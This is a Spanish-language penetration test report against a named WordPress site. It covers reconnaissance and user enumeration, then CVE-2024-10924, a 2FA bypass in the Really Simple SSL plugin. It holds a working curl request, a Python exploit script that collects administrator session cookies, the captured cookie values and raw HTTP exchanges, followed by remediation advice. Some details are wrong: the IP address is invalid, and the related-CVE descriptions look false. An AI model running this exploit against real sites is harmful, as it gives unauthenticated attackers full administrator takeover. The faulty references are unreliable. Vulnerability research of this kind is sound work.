
Informe detallado de pruebas de penetración y exploit de prueba de concepto para CVE-2024-10924, una vulnerabilidad crítica de omisión de 2FA en el plugin Really Simple SSL de WordPress, que permite el acceso de administrador no autenticado.
Objetivo: https://skior.co
Vulnerabilidad: CVE-2024-10924 - Bypass de 2FA en el Plugin Really Simple SSL
Severidad: Crítica (Puntuación CVSS: 9.8)
Estado: Explotada con éxito
Fecha de Descubrimiento: 2025-06-25
Versión del Informe: 2.1
Esta prueba de penetración descubrió una vulnerabilidad crítica de bypass de autenticación que permite a atacantes no autenticados obtener acceso administrativo al sitio WordPress evitando los controles de autenticación de dos factores (2FA).
Esta evaluación siguió una metodología sistemática de pruebas de penetración en caja negra basada en estándares de la industria:

Tecnologías Identificadas:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**Key Findings:**
- Instalación moderna de WordPress con la última versión
- Configuración de hosting profesional con nginx
- Marca personalizada ("PoweredBy[Skior]")
- Constructor de páginas Elementor en uso
- Ubicación geográfica: Estados Unidos
### Paso 2: Enumeración de usuarios
#### A. Enumeración de autores de WordPress```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
Usuario descubierto: pastor (ID de usuario: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. Resultados de Enumeración de Usuarios
| ID de Usuario | Nombre de Usuario | Estado | URL de Redirección |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ Encontrado | `/author/pastor/` |
| 2-10 | N/A | ❌ No Encontrado | respuestas 404 |
### Paso 3: Escaneo de Vulnerabilidades
#### A. Análisis Completo de WPScan```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
Resumen de Resultados del Escaneo:
Nota: WPScan no detectó el plugin Really Simple SSL, lo que indica que puede estar usando ofuscación o nombres personalizados.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**Endpoints personalizados descubiertos:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
Descubrimiento crítico: El endpoint /reallysimplessl/v1/two_fa/skip_onboarding parecía sospechoso y merecía una investigación más profunda.
Después de descubrir las rutas personalizadas de la API REST, la investigación externa reveló CVE-2024-10924, una vulnerabilidad crítica que afecta al plugin Really Simple SSL.
CVE ID: CVE-2024-10924
Puntuación CVSS: 9.8 (Crítica)
Plugin Afectado: Really Simple SSL
Tipo de Vulnerabilidad: Omisión de Autenticación
Vector de Ataque: API REST
Fecha de Descubrimiento: 6 de noviembre de 2024
Divulgación Pública: 14 de noviembre de 2024
La vulnerabilidad se origina por una validación incorrecta de usuario en la función check_login_and_get_user dentro de las acciones de la API REST de autenticación de dos factores. La función no logra validar adecuadamente el parámetro login_nonce, lo que permite a los atacantes:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### Endpoints Afectados
Los siguientes endpoints de la API REST son vulnerables:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### Condiciones de Vulnerabilidad
Para que esta vulnerabilidad sea explotable:
- ✅ El plugin Really Simple SSL debe estar instalado y activado
- ✅ La configuración de autenticación de dos factores debe estar habilitada (deshabilitada por defecto)
- ✅ Al menos una cuenta de usuario debe existir en el sistema
- ✅ La API REST debe ser accesible (configuración predeterminada de WordPress)
---
## 🔄 Flujo de Ataque```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
Primero, probamos el endpoint manualmente para entender su comportamiento:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Script de exploit en Python```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### Proceso de Manipulación de Cookies

*Arriba: Captura de pantalla que muestra el proceso de manipulación de cookies utilizando las herramientas de desarrollo del navegador para agregar las cookies de sesión de WordPress capturadas.*
#### Acceso de Administrador Exitoso

*Arriba: Captura de pantalla que confirma el acceso administrativo exitoso al panel de WordPress después de explotar la vulnerabilidad de omisión de 2FA.*
#### Análisis de Cookies
**Cookie de Seguridad de WordPress:**
- **Nombre:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **Valor:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **Componentes:**
- Nombre de usuario: `pastor`
- Expiración: `1752234264` (marca de tiempo Unix)
- Nonce: `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- Hash: `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**Cookie de Inicio de Sesión de WordPress:**
- **Nombre:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **Valor:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 Evaluación de Impacto
### Impacto Inmediato
1. **Compromiso Completo del Sitio**
- Acceso administrativo al panel de WordPress
- Capacidad de modificar contenido, temas y plugins del sitio
- Acceso a gestión de usuarios y configuraciones
2. **Exposición de Datos**
- Acceso a todas las cuentas y perfiles de usuario
- Visibilidad del contenido de la base de datos
- Acceso a archivos de configuración
3. **Escalada de Privilegios**
- Omisión de todos los controles de autenticación
- Elusión de las medidas de seguridad de 2FA
- Capacidad de suplantar a cualquier usuario
### Escenarios de Ataque Potenciales
1. **Manipulación de Contenido**
- Desfigurar contenido del sitio web
- Inyectar código malicioso
- Crear puertas traseras
2. **Robo de Datos**
- Extraer información de usuarios
- Acceder a contenido sensible
- Descargar copias de seguridad de la base de datos
3. **Persistencia**
- Instalar plugins maliciosos
- Crear cuentas de administrador ocultas
- Establecer comando y control
### Puntuación de Riesgo: **Crítico (9.8/10)**
| Factor | Puntuación | Justificación |
|--------|-------|---------------|
| **Complejidad de Acceso** | Baja (1.0) | Solicitud HTTP simple |
| **Autenticación** | Ninguna (0.0) | No se requiere autenticación |
| **Impacto en la Integridad** | Alto (1.0) | Compromiso completo del sistema |
| **Impacto en la Confidencialidad** | Alto (1.0) | Acceso completo a los datos |
| **Impacto en la Disponibilidad** | Alto (1.0) | Puede deshabilitar el sitio |
### Análisis de Impacto en el Negocio
| Categoría de Impacto | Gravedad | Descripción |
|----------------|----------|-------------|
| **Financiero** | Alto | Posible pérdida de ingresos, costos legales |
| **Reputacional** | Crítico | Daño a la marca, pérdida de confianza del cliente |
| **Operacional** | Alto | Interrupción del servicio, pérdida de datos |
| **Cumplimiento Normativo** | Alto | Violaciones regulatorias, fallos en auditorías |
---
## 🛡️ Remediación
### Acciones Inmediatas (0-24 horas)
1. **Deshabilitar el Plugin Really Simple SSL** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
Actualizar o eliminar el plugin
Auditar las sesiones de usuario
Endurecimiento de seguridad
Implementación de monitoreo
Evaluaciones periódicas de seguridad
Actualizaciones de políticas de seguridad
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### Soluciones SSL Alternativas
| Solución | Ventajas | Desventajas | Recomendación |
|----------|------|------|----------------|
| **Let's Encrypt** | Gratuito, automatizado | Configuración manual | ✅ Recomendado |
| **Cloudflare** | Configuración fácil, protección DDoS | Requiere cambio de DNS | ✅ Buena opción |
| **SSL del Proveedor de Hospedaje** | Integrado | Puede tener limitaciones | ⚠️ Verificar características |
| **SSL Manual** | Control total | Configuración compleja | ❌ No recomendado |
---
## 🛠️ Herramientas Utilizadas
### Herramientas de Reconocimiento
- **Wappalyzer** - Identificación de pila tecnológica
- **WhatWeb** - Huella digital de aplicaciones web
- **WPScan** - Escaneo de vulnerabilidades de WordPress
- **curl** - Pruebas manuales de API
### Herramientas de Explotación
- **Python 3** - Desarrollo de exploits
- **requests** - Librería cliente HTTP
- **urllib.parse** - Codificación/decodificación de URL
### Herramientas de Análisis
- **jq** - Procesamiento JSON
- **grep** - Coincidencia de patrones de texto
- **bash** - Automatización de línea de comandos
---
## 📚 Referencias
### Información de Vulnerabilidades
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [Seguridad de Plugins de WordPress](https://wordpress.org/plugins/security/)
- [Plugin Really Simple SSL](https://wordpress.org/plugins/really-simple-ssl/)
### Documentación Técnica
- [WordPress REST API Handbook](https://developer.wordpress.org/rest-api/)
- [Mejores Prácticas de Seguridad de WordPress](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### Herramientas y Recursos
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### CVEs Relacionados
- CVE-2024-10924 - Omisión de 2FA en Really Simple SSL
- CVE-2023-28121 - XSS en el núcleo de WordPress
- CVE-2023-28122 - CSRF en el núcleo de WordPress
### Estándares de la Industria
- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 Aviso Legal
Este informe de pruebas de penetración es solo para fines educativos y de evaluación de seguridad autorizada. Las técnicas y herramientas descritas solo deben utilizarse contra sistemas que posea o para los que tenga permiso explícito de prueba. Las pruebas no autorizadas pueden violar leyes y regulaciones.
**Divulgación Responsable:** Esta vulnerabilidad ha sido reportada a los desarrolladores del plugin y al equipo de seguridad de WordPress.
**Descargo de Responsabilidad:** La información proporcionada en este informe se basa en la evaluación realizada en el momento de la prueba. Los panoramas de seguridad cambian rápidamente y pueden existir vulnerabilidades adicionales que no fueron descubiertas durante esta evaluación.
---
## 📋 Apéndices
### Apéndice A: Solicitudes HTTP Crudas
#### Solicitud de Explotación Exitosa```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### Apéndice B: Lista de verificación de seguridad
#### Pre-Explotación
- [ ] Identificación del objetivo y definición del alcance
- [ ] Autorización legal obtenida
- [ ] Entorno de pruebas preparado
- [ ] Herramientas y scripts validados
#### Durante la explotación
- [ ] Vulnerabilidad confirmada manualmente
- [ ] Exploit desarrollado y probado
- [ ] Impacto limitado al alcance autorizado
- [ ] Evidencia documentada minuciosamente
#### Post-Explotación
- [ ] Todo acceso eliminado
- [ ] Evidencia preservada
- [ ] Informe generado
- [ ] Recomendaciones de remediación proporcionadas
### Apéndice C: Glosario
| Término | Definición |
|---------|------------|
| **2FA** | Autenticación de dos factores |
| **CVSS** | Sistema Común de Puntuación de Vulnerabilidades |
| **REST API** | Interfaz de Programación de Aplicaciones de Transferencia de Estado Representacional |
| **WAF** | Cortafuegos de Aplicaciones Web |
| **XSS** | Secuencias de comandos entre sitios |
| **CSRF** | Falsificación de petición en sitios cruzados |
---
*Informe generado el: 2025-06-25*
*Investigador de Seguridad*
*Versión: 2.1*
*Última actualización: 2025-06-25*
| Nivel de Riesgo | Probabilidad | Impacto | Prioridad de Mitigación |
|---|
| Crítico | Alta | Compromiso Completo del Sistema | Inmediata |
| Alto | Media | Fuga de Datos | Alta |
| Medio | Baja | Interrupción del Servicio | Media |
| Campo | Valor |
|---|
| Dominio | https://skior.co |
| Dirección IP | 123.456.789.200 |
| Servidor | nginx/1.26.0 (Ubuntu) |
| Versión de PHP | 8.2.28 |
| CMS | WordPress 6.8.1 |
| Plugin Vulnerable | Really Simple SSL |
| Ubicación Geográfica | Estados Unidos |
| Proveedor de Alojamiento | Alojamiento profesional (probablemente VPS/Dedicado) |
| Fecha/Hora | Evento | Detalles |
|---|
| 2025-06-25 14:02 | Reconocimiento Inicial | Análisis de Wappalyzer completado |
| 2025-06-25 14:05 | Pila de Tecnología Identificada | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | Enumeración de Usuarios | Usuario "pastor" descubierto (ID: 1) |
| 2025-06-25 14:15 | Análisis WPScan | No se encontraron vulnerabilidades conocidas |
| 2025-06-25 14:20 | Enumeración de API REST | Endpoints de Really Simple SSL descubiertos |
| 2025-06-25 14:25 | Investigación de Vulnerabilidades | CVE-2024-10924 identificada |
| 2025-06-25 14:30 | Pruebas Manuales | Confirmada la existencia de la vulnerabilidad |
| 2025-06-25 14:35 | Desarrollo de Exploit | Prueba de concepto en Python creada |
| 2025-06-25 14:40 | Explotación Exitosa | Acceso de administrador obtenido |
| 2025-06-25 14:45 | Evaluación de Impacto | Documentado el daño potencial |
| 2025-06-25 15:00 | Generación del Informe | Documentación exhaustiva |